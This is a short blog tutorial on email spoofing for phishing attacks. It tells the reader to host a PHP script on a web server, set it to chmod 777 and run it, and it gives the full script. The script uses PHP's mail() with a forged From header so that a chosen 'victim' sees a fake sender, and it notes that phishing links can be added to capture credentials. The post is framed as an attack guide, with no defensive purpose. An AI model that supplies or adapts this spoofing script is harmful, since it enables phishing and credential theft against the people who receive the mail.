Email Spoofing | Advanced Social Engineering For Phishing Attack

Tushar Makwana

November 08, 2020 November 13, 2020

Email Spoofing | Advanced Social Engineering For Phishing Attack

Hello Friends,
In this topic, we will learn about email spoofing.
Email spoofing is a part of social engineering tricks to doing advanced phishing attacks.
These types of tricks can hack humans and also their accounts.
For this trick, we use a simple PHP script that has mail func().
You can customize it as your choice but here we run it as a simple attack.

First, you have to need a free or paid web hosting service to host the PHP script there and also change the permission of that PHP script.
Make it read, Write, and Executable for a run without error.
In Linux, we can say it like chmod 777 emailspoofing.php.
Upload the script to the hosting server and run it.
If there is a mistake in your customization then it gives an error otherwise it runs easily.

Victim Email Address- It's your target, Email To
Spoofed Email Address- Email Address Which We Want To Show Victim.
And There Is A Message In HTML, You Can Edit It, If You Have Knowledge Of HTML Otherwise You Can Use Visual HTML Editors For That.

<html>
  <head>
    <title>Email Spoofing Tutorial
    </title> 
  </head>
  <body>
    <?php
$to = "yourvictim@subdomain.com"; 
$subject = "Email Spoofing";
$message = "<h3><span style=\"color: #008000\">Email Spoofing Demo</span> By <span style=\"color: #FF0000\">MTECHFIRE</span></h3>";
$message .= "<p>If You Like This Video Then DON'T Forget To Subscribe and Share With Friends.</p>"; 
$message .= "<p>In This Type Of Emails Generated By Hackers For Capturing Credentials Of Someone.</p>";
$message .= "<p>You Can Add Images, Phishing Links and More In This Email.</p>";
$message .= "<h4>Thank You!</h4>";
$header = "From:abc@somedomain.com \r\n"; 
$header .= "Cc:efgh@somedomain.com \r\n"; 
$header .= "MIME-Version: 1.0\r\n"; 
$header .= "Content-type: text/html\r\n"; 
$retval = mail ($to,$subject,$message,$header);
if( $retval == true ) {
echo "Message sent successfully..."; 
}else {
echo "Message could not be sent..."; 
}
?>
  </body>
</html>